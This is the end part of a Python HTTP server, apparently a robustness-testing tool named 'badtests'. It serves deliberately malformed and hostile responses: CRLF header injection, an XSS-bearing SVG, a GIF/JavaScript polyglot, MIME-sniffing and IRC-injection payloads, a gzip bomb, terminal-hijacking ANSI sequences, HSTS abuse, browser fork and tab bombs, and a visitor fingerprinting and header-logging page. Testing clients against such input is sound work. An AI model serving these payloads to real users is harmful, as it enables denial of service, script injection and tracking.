add('GPU Renderer',g.getParameter(d.UNMASKED_RENDERER_WEBGL));}
add('WebGL Version',g.getParameter(g.VERSION));
add('Shading Language',g.getParameter(g.SHADING_LANGUAGE_VERSION));
add('Max Texture Size',g.getParameter(g.MAX_TEXTURE_SIZE));
}}catch(e){add('WebGL','Error: '+e);}
try{let actx=new(window.AudioContext||window.webkitAudioContext)();
add('Audio Sample Rate',actx.sampleRate);
add('Audio State',actx.state);actx.close();}catch(e){add('Audio','Error: '+e);}
add('Local Storage',typeof localStorage!=='undefined');
add('Session Storage',typeof sessionStorage!=='undefined');
add('IndexedDB',typeof indexedDB!=='undefined');
add('ServiceWorker','serviceWorker' in navigator);
add('WebRTC',typeof RTCPeerConnection!=='undefined');
let plugins=[];for(let i=0;i<navigator.plugins.length;i++)plugins.push(navigator.plugins[i].name);
add('Plugins',plugins.join(', ')||'None');
add('MIME Types',navigator.mimeTypes.length);
</script></body></html>'''
LOGS_STYLE = '''<!DOCTYPE html><html><head><meta charset="utf-8">
<title>☠ badtests — visitor logs</title>
<style>
*{{margin:0;padding:0;box-sizing:border-box}}
body{{background:#0d1117;color:#c9d1d9;font-family:monospace;font-size:13px;padding:20px 40px}}
h1{{color:#f85149;margin-bottom:4px}}
.sub{{color:#484f58;margin-bottom:20px;font-size:12px}}
table{{border-collapse:collapse;width:100%}}
th{{text-align:left;color:#58a6ff;padding:8px;border-bottom:2px solid #30363d;position:sticky;top:0;background:#0d1117}}
td{{padding:6px 8px;border-bottom:1px solid #161b22;max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}}
tr:hover td{{background:#161b22}}
.ip{{color:#7ee787}}.path{{color:#d2a8ff}}.method{{color:#d29922}}.time{{color:#484f58}}
details{{cursor:pointer}}
details pre{{background:#161b22;padding:8px;margin-top:4px;border-radius:4px;white-space:pre-wrap;max-height:200px;overflow:auto}}
</style></head><body>
<h1>☠ visitor logs</h1>
<p class="sub">Recording all requests. {count} entries so far. <a href="/logs" style="color:#58a6ff">Refresh</a> | <a href="/" style="color:#58a6ff">Home</a></p>
<table><tr><th>Time</th><th>IP</th><th>Method</th><th>Path</th><th>User-Agent</th><th>Headers</th></tr>
{rows}
</table></body></html>'''
# --- MIME sniff test page (wraps the payload endpoint) ---
MIME_SNIFF_PAGE = b'''<!DOCTYPE html><html><head><title>MIME Sniff Test</title></head><body>
<h1>MIME Sniffing Test</h1>
<p>This page includes a &lt;script&gt; tag pointing to <code>/net-mime-sniff?payload=1</code>,
which serves JavaScript with <code>Content-Type: image/jpeg</code>.</p>
<p>If your browser MIME-sniffs, the JS will execute and you'll see an alert.</p>
<p id="result" style="font-size:24px;color:red"></p>
<script src="/net-mime-sniff?payload=1"></script>
</body></html>'''
class Handler(http.server.BaseHTTPRequestHandler):
_index = build_index()
_routes = {t[0]: t for t in TESTS}
def _get_client_ip(self):
'''Get real client IP from reverse proxy headers, fallback to socket address.'''
return (self.headers.get('X-Real-IP')
or (self.headers.get('X-Forwarded-For', '').split(',')[0].strip())
or self.client_address[0])
def do_GET(self):
p = self.path.split('?')[0]
self._log_visit()
if p == '/':
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, self._index)
elif p == '/logs':
self._serve_logs()
elif p == '/sw.js':
self._r(200, {'Content-Type': 'application/javascript', 'Service-Worker-Allowed': '/'}, SW_JS)
elif p == '/img-bait-view':
self._r(200, {'Content-Type': 'image/svg+xml'}, SAFE_SVG)
elif p == '/img-bait-download':
self._r(200, {'Content-Type': 'image/svg+xml', 'Content-Disposition': 'attachment; filename="totally_safe.svg"'}, EVIL_SVG)
elif p in self._routes:
self._dispatch(p)
else:
self._r(404, {'Content-Type': 'text/plain'}, b'not found')
do_POST = do_HEAD = do_PUT = do_DELETE = do_GET
def _log_visit(self):
headers = {}
for k in self.headers:
headers[k] = self.headers[k]
entry = {
'time': time.strftime('%Y-%m-%d %H:%M:%S'),
'ip': self._get_client_ip(),
'method': self.command,
'path': self.path,
'ua': self.headers.get('User-Agent', ''),
'headers': headers,
}
with LOG_LOCK:
VISITOR_LOG.append(entry)
def _serve_logs(self):
with LOG_LOCK:
entries = list(reversed(VISITOR_LOG))
rows = ''
for e in entries[:500]:
hdrs_str = '\n'.join(f'{k}: {v}' for k, v in e['headers'].items())
rows += f'''<tr>
<td class="time">{html.escape(e['time'])}</td>
<td class="ip">{html.escape(e['ip'])}</td>
<td class="method">{html.escape(e['method'])}</td>
<td class="path">{html.escape(e['path'])}</td>
<td>{html.escape(e['ua'][:80])}</td>
<td><details><summary>{len(e['headers'])} headers</summary><pre>{html.escape(hdrs_str)}</pre></details></td>
</tr>'''
page = LOGS_STYLE.format(count=len(VISITOR_LOG), rows=rows).encode()
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, page)
def _dispatch(self, path):
try:
self._dispatch_inner(path)
except Exception as e:
try:
self.wfile.write(b'HTTP/1.1 500 Internal Server Error\r\nContent-Length: 3\r\n\r\nerr')
self.wfile.flush()
except:
pass
def _dispatch_inner(self, path):
p = path
# --- Content-Length abuses ---
if p == '/cl-word': self._r(200, {'Content-Length': 'banana'}, b'hello')
elif p == '/cl-empty': self._r(200, {'Content-Length': ''}, b'hello')
elif p == '/cl-negative': self._r(200, {'Content-Length': '-99999999999999999'}, b'hello')
elif p == '/cl-huge': self._r(200, {'Content-Length': '99999999999999999'}, b'tiny')
elif p == '/cl-zero': self._r(200, {'Content-Length': '0'}, b'surprise!')
elif p == '/cl-float': self._r(200, {'Content-Length': '3.14159'}, b'hello')
elif p == '/cl-hex': self._r(200, {'Content-Length': '0xDEAD'}, b'hello')
elif p == '/cl-null': self._r(200, {'Content-Length': '5\x00'}, b'hello')
elif p == '/cl-negative-one': self._r(200, {'Content-Length': '-1'}, b'hello')
elif p == '/cl-nan': self._r(200, {'Content-Length': 'NaN'}, b'hello')
elif p == '/cl-inf': self._r(200, {'Content-Length': 'Infinity'}, b'hello')
elif p == '/cl-mismatch': self._r(200, {'Content-Length': '1'}, b'this is way more than one byte')
# --- Content-Type abuses ---
elif p == '/ct-garbage': self._r(200, {'Content-Type': ''.join(random.choices(string.printable, k=200))}, b'hello')
elif p == '/ct-multi': self._r(200, {'Content-Type': 'text/html, application/json, image/png, text/xml, application/octet-stream'}, b'what am i?')
elif p == '/ct-empty': self._r(200, {'Content-Type': ''}, b'hello')
elif p == '/ct-null': self._r(200, {'Content-Type': 'text/\x00html'}, b'hello')
elif p == '/ct-emoji': self._raw('HTTP/1.1 200 OK\r\nContent-Type: 💀/🔥\r\nContent-Length: 5\r\n\r\nhello'.encode())
elif p == '/ct-mega': self._r(200, {'Content-Type': 'text/' + 'A'*10000}, b'hello')
elif p == '/ct-crlf': self._r(200, {'Content-Type': 'text/html\r\nX-Injected: true'}, b'hello')
elif p == '/ct-semicolon':self._r(200, {'Content-Type': 'text/html' + ';charset=utf-8'*50}, b'hello')
# --- Status code abuses ---
elif p == '/status-neg': self._raw(b'HTTP/1.1 -1 BROKEN\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/status-zero': self._raw(b'HTTP/1.1 0 NOTHING\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/status-999': self._r(999, {}, b'hello')
elif p == '/status-huge': self._raw(b'HTTP/1.1 99999 WAY TOO BIG\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/status-word': self._raw(b'HTTP/1.1 BANANA OK\r\nContent-Length: 5\r\n\r\nhello')
# --- Header abuses ---
elif p == '/hdr-mega-name': self._r(200, {'X-'+'A'*65536: 'val'}, b'hello')
elif p == '/hdr-mega-val': self._r(200, {'X-Big': 'B'*1048576}, b'hello')
elif p == '/hdr-1000': self._r(200, {f'X-H{i}': str(i) for i in range(1000)}, b'hello')
elif p == '/hdr-empty-name': self._raw(b'HTTP/1.1 200 OK\r\n: empty_name\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/hdr-no-colon': self._raw(b'HTTP/1.1 200 OK\r\nBrokenHeaderNoColon\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/hdr-dup-cl': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nContent-Length: 999\r\n\r\nhello')
elif p == '/hdr-null': self._raw(b'HTTP/1.1 200 OK\r\nX-\x00Evil: \x00val\x00ue\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/hdr-newline': self._raw(b'HTTP/1.1 200 OK\r\nX-Bad: line1\nline2\r\nContent-Length: 5\r\n\r\nhello')
# --- Body abuses ---
elif p == '/body-endless': self._endless()
elif p == '/body-none': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n')
elif p == '/body-binary': self._r(200, {'Content-Type': 'text/html'}, bytes(random.getrandbits(8) for _ in range(4096)))
# --- Transfer-Encoding abuses ---
elif p == '/te-invalid': self._r(200, {'Transfer-Encoding': 'banana'}, b'hello')
elif p == '/te-double': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n5\r\nhello\r\n0\r\n\r\n')
elif p == '/te-bad-chunk': self._raw(b'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\nZZZ\r\nhello\r\n0\r\n\r\n')
# --- Protocol abuses ---
elif p == '/proto-garbage': self._raw(bytes(random.getrandbits(8) for _ in range(512)))
elif p == '/proto-empty': self._raw(b'')
elif p == '/proto-half': self._raw(b'HTTP/9.9 200 OK\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/proto-no-headers': self._raw(b'HTTP/1.1 200 OK\r\n\r\nhello')
elif p == '/proto-just-newlines': self._raw(b'\r\n\r\n\r\n\r\n\r\n')
# --- Encoding abuses ---
elif p == '/enc-utf16': self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, 'こんにちは'.encode('utf-16'))
elif p == '/enc-gzip-lie': self._r(200, {'Content-Encoding': 'gzip'}, b'this is definitely not gzipped')
# --- Redirect abuses ---
elif p == '/redir-self': self._r(301, {'Location': '/redir-self'}, b'')
elif p == '/redir-garbage': self._raw(b'HTTP/1.1 301 Moved\r\nLocation: \x00\xff://\xf0\x9f\x92\x80:99999/../../etc/passwd\r\nContent-Length: 0\r\n\r\n')
elif p == '/redir-chain':
n = 0
if '?' in self.path:
try: n = int(self.path.split('n=')[1].split('&')[0])
except: pass
self._r(302, {'Location': f'/redir-chain?n={n+1}'}, f'Hop {n}'.encode())
# --- Timing abuses ---
elif p == '/slow-headers': self._slow(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello', 0.5)
elif p == '/slow-body': self._slow_body()
# --- HTML/Content abuses ---
elif p == '/html-utf16':
page = '<html><head><title>UTF-16LE Encoded Page</title></head><body><h1>This entire page is UTF-16LE</h1><p>But the server never declared a charset. Good luck decoding!</p></body></html>'
self._r(200, {'Content-Type': 'text/html'}, page.encode('utf-16-le'))
elif p == '/html-long-title':
t = 'A' * 1000
self._r(200, {'Content-Type': 'text/html'}, f'<html><head><title>{t}</title></head><body><h1>{t}</h1></body></html>'.encode())
elif p == '/html-multiline-title':
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Line 1\nLine 2\nLine 3\nLine 4\nLine 5</title></head><body><h1>Check your tab title</h1></body></html>')
elif p == '/html-irc-title':
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Normal Title\r\nQUIT :Hacked by badtests\r\nPRIVMSG #channel :pwned</title></head><body><h1>IRC Injection via HTML title</h1></body></html>')
elif p == '/html-unicode':
chars = ''.join(chr(random.randint(0x1000, 0x3000)) for _ in range(500))
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, f'<html><head><title>{chars}</title></head><body><h1>{chars}</h1></body></html>'.encode())
elif p == '/html-meta-refresh':
self._r(200, {'Content-Type': 'text/html'}, b'<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0"><title>RELOADING FOREVER</title></head><body><h1>This page reloads every 0 seconds</h1><p>Your browser tab is now stuck in an infinite reload loop.</p></body></html>')
# --- Terminal abuses ---
elif p == '/ansi-chaos':
a = '\033[2J\033[H'
a += '\033]0;HACKED BY BADTESTS\007'
a += '\033[?25l'
for i in range(80):
row = random.randint(1, 50)
col = random.randint(1, 120)
fg = random.randint(31, 37)
style = random.choice(['1', '3', '4', '5', '7'])
char = random.choice('☠💀🔥👾🐛⚡🎭🃏♠♣♥♦█▓▒░╔╗╚╝║═')
a += f'\033[{row};{col}H\033[{style};{fg}m{char}\033[0m'
a += '\033[10;20H\033[1;5;31m░▒▓█ YOUR TERMINAL IS MINE NOW █▓▒░\033[0m'
a += '\033[12;20H\033[1;5;35m░▒▓█ RESISTANCE IS FUTILE █▓▒░\033[0m'
a += '\033[14;20H\033[1;5;32m░▒▓█ CURLING WAS A MISTAKE █▓▒░\033[0m'
a += '\033[16;20H\033[1;33m'
for i in range(10):
a += f'\033[{16+i};10H'
a += ''.join(f'\033[{random.randint(31,37)}m{chr(random.randint(0x2580,0x259F))}' for _ in range(60))
a += '\033[0m'
a += '\033[28;1H\033[?5h' # reverse video (flash screen)
a += '\033[28;1H\033[?5l' # normal video
a += f'\033[?25h\033[50;1H'
self._r(200, {'Content-Type': 'text/plain'}, a.encode())
# --- JavaScript browser abuses ---
elif p == '/js-alert': self._r(200, {'Content-Type': 'text/html'}, JS_ALERT)
elif p == '/js-history': self._r(200, {'Content-Type': 'text/html'}, JS_HISTORY)
elif p == '/js-download': self._r(200, {'Content-Type': 'text/html'}, JS_DOWNLOAD)
elif p == '/js-clipboard': self._r(200, {'Content-Type': 'text/html'}, JS_CLIPBOARD)
elif p == '/js-forkbomb': self._r(200, {'Content-Type': 'text/html'}, JS_FORKBOMB)
elif p == '/js-webgl': self._r(200, {'Content-Type': 'text/html'}, JS_WEBGL)
elif p == '/js-audio': self._r(200, {'Content-Type': 'text/html'}, JS_AUDIO)
elif p == '/js-popup': self._r(200, {'Content-Type': 'text/html'}, JS_POPUP)
elif p == '/js-cookie': self._r(200, {'Content-Type': 'text/html'}, JS_COOKIE)
elif p == '/js-beforeunload': self._r(200, {'Content-Type': 'text/html'}, JS_BEFOREUNLOAD)
elif p == '/js-tabbomb': self._r(200, {'Content-Type': 'text/html'}, JS_TABBOMB)
elif p == '/js-serviceworker':self._r(200, {'Content-Type': 'text/html'}, JS_SERVICEWORKER)
# --- Image/File abuses ---
elif p == '/img-bait':
self._r(200, {'Content-Type': 'text/html'}, b'''<!DOCTYPE html><html><head><title>Image bait-and-switch</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px">
<h1>Image Bait-and-Switch</h1>
<p>The image below shows "SAFE" in green. But the download link gives you a DIFFERENT image.</p>
<br><img src="/img-bait-view" style="border:2px solid #30363d;border-radius:8px">
<br><br><a href="/img-bait-download" download="totally_safe.svg" style="color:#58a6ff;font-size:18px">Download this image</a>
<p style="color:#484f58;margin-top:20px">Hint: the downloaded file says something different...</p>
</body></html>''')
elif p == '/img-svg-xss':
svg = b'''<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<rect width="400" height="200" fill="#1a1a2e" rx="8"/>
<text x="200" y="80" fill="#e6edf3" font-size="20" font-family="monospace" text-anchor="middle">I look like an innocent image...</text>
<text x="200" y="130" fill="#f85149" font-size="16" font-family="monospace" text-anchor="middle">but I contain JavaScript</text>
<script type="text/javascript">
alert('XSS executed from SVG image!');
document.querySelector('text:last-of-type').textContent = 'JS EXECUTED SUCCESSFULLY';
</script>
</svg>'''
self._r(200, {'Content-Type': 'image/svg+xml'}, svg)
elif p == '/img-polyglot':
# GIF89a header that's also parseable as JS when loaded via <script>
# GIF89a= is valid JS (assigns undefined to GIF89a), then we add our payload
polyglot = b'GIF89a/*\x00\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;*/=0;document.write("<h1 style=color:red>GIF/JS POLYGLOT EXECUTED</h1><p>This file is simultaneously a valid GIF image and valid JavaScript.</p>");'
self._r(200, {'Content-Type': 'image/gif'}, polyglot)
# --- Network abuses ---
elif p == '/net-gzip-bomb':
self._r(200, {'Content-Type': 'application/octet-stream', 'Content-Encoding': 'gzip', 'Content-Length': str(len(GZIP_BOMB))}, GZIP_BOMB)
elif p == '/net-event-flood':
self._event_flood()
elif p == '/net-mime-sniff':
if '?payload=1' in self.path:
self._r(200, {'Content-Type': 'image/jpeg'}, b'document.getElementById("result").textContent="MIME SNIFFING BYPASSED! JS executed despite image/jpeg Content-Type";alert("MIME sniffing attack succeeded! JS ran despite Content-Type: image/jpeg")')
else:
self._r(200, {'Content-Type': 'text/html'}, MIME_SNIFF_PAGE)
elif p == '/net-cache-poison':
self._r(200, {
'Content-Type': 'text/html',
'Cache-Control': 'no-cache, max-age=999999, must-revalidate, public, private, no-store, immutable',
'Expires': 'Thu, 01 Jan 1970 00:00:00 GMT',
'Pragma': 'no-cache',
'Last-Modified': 'Sun, 01 Jan 2090 00:00:00 GMT',
'ETag': '"*"',
'Vary': '*',
'Age': '999999999',
}, b'<html><body><h1>Which cache directive wins?</h1><p>Every cache header contradicts every other. Good luck, proxy.</p><p>no-cache + max-age=999999 + must-revalidate + public + private + no-store + immutable</p><p>Expires in the past, Last-Modified in the future, Age is 31 years, Vary is wildcard, ETag is *</p></body></html>')
elif p == '/net-hsts-bomb':
self._r(200, {
'Content-Type': 'text/html',
'Strict-Transport-Security': 'max-age=999999999; includeSubDomains; preload',
}, b'<html><body><h1>HSTS Bomb</h1><p>Your browser now thinks this site requires HTTPS for 31 years.</p><p>This header also applies to ALL subdomains and requests preload list inclusion.</p><p>To undo in Chrome: chrome://net-internals/#hsts</p></body></html>')
# --- Misc ---
elif p == '/misc-ipv4':
ip = self._get_client_ip()
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1></body></html>'
self._r(200, {'Content-Type': 'text/html'}, body.encode())
elif p == '/misc-ipv6':
ip = self._get_client_ip()
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1><p>For true IPv6, connect to [::1]:{PORT}</p></body></html>'
self._r(200, {'Content-Type': 'text/html'}, body.encode())
elif p == '/fingerprint':
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, FINGERPRINT_HTML)
def _r(self, code, headers, body):
self.send_response(code)
for k, v in headers.items():
self.send_header(k, v)
self.end_headers()
self.wfile.write(body)
def _raw(self, data):
self.wfile.write(data)
self.wfile.flush()
def _endless(self):
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.end_headers()
try:
while True:
self.wfile.write(b'A' * 1024)
self.wfile.flush()
time.sleep(1)
except:
pass
def _slow(self, data, delay):
try:
for b in data:
self.wfile.write(bytes([b]))
self.wfile.flush()
time.sleep(delay)
except:
pass
def _slow_body(self):
self.send_response(200)
self.send_header('Content-Length', '26')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
try:
for c in b'abcdefghijklmnopqrstuvwxyz':
self.wfile.write(bytes([c]))
self.wfile.flush()
time.sleep(1)
except:
pass
def _event_flood(self):
self.send_response(200)
self.send_header('Content-Type', 'text/event-stream')
self.send_header('Cache-Control', 'no-cache')
self.send_header('Connection', 'keep-alive')
self.end_headers()
try:
i = 0
while True:
self.wfile.write(f'id: {i}\nevent: flood\ndata: {{"seq":{i},"time":{time.time()},"garbage":"{"X"*1000}"}}\n\n'.encode())
self.wfile.flush()
i += 1
except:
pass
def log_message(self, fmt, *a):
print(f'\033[90m{self.address_string()}\033[0m {fmt % a}')
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = True
daemon_threads = True
with ThreadedServer(('', PORT), Handler) as s:
print(f'\033[1;31m☠ badtests running on http://0.0.0.0:{PORT}\033[0m')
print(f'\033[90mOpen http://localhost:{PORT}/ in your browser\033[0m')
print(f'\033[90m{len(TESTS)} test endpoints + /logs\033[0m')
s.serve_forever()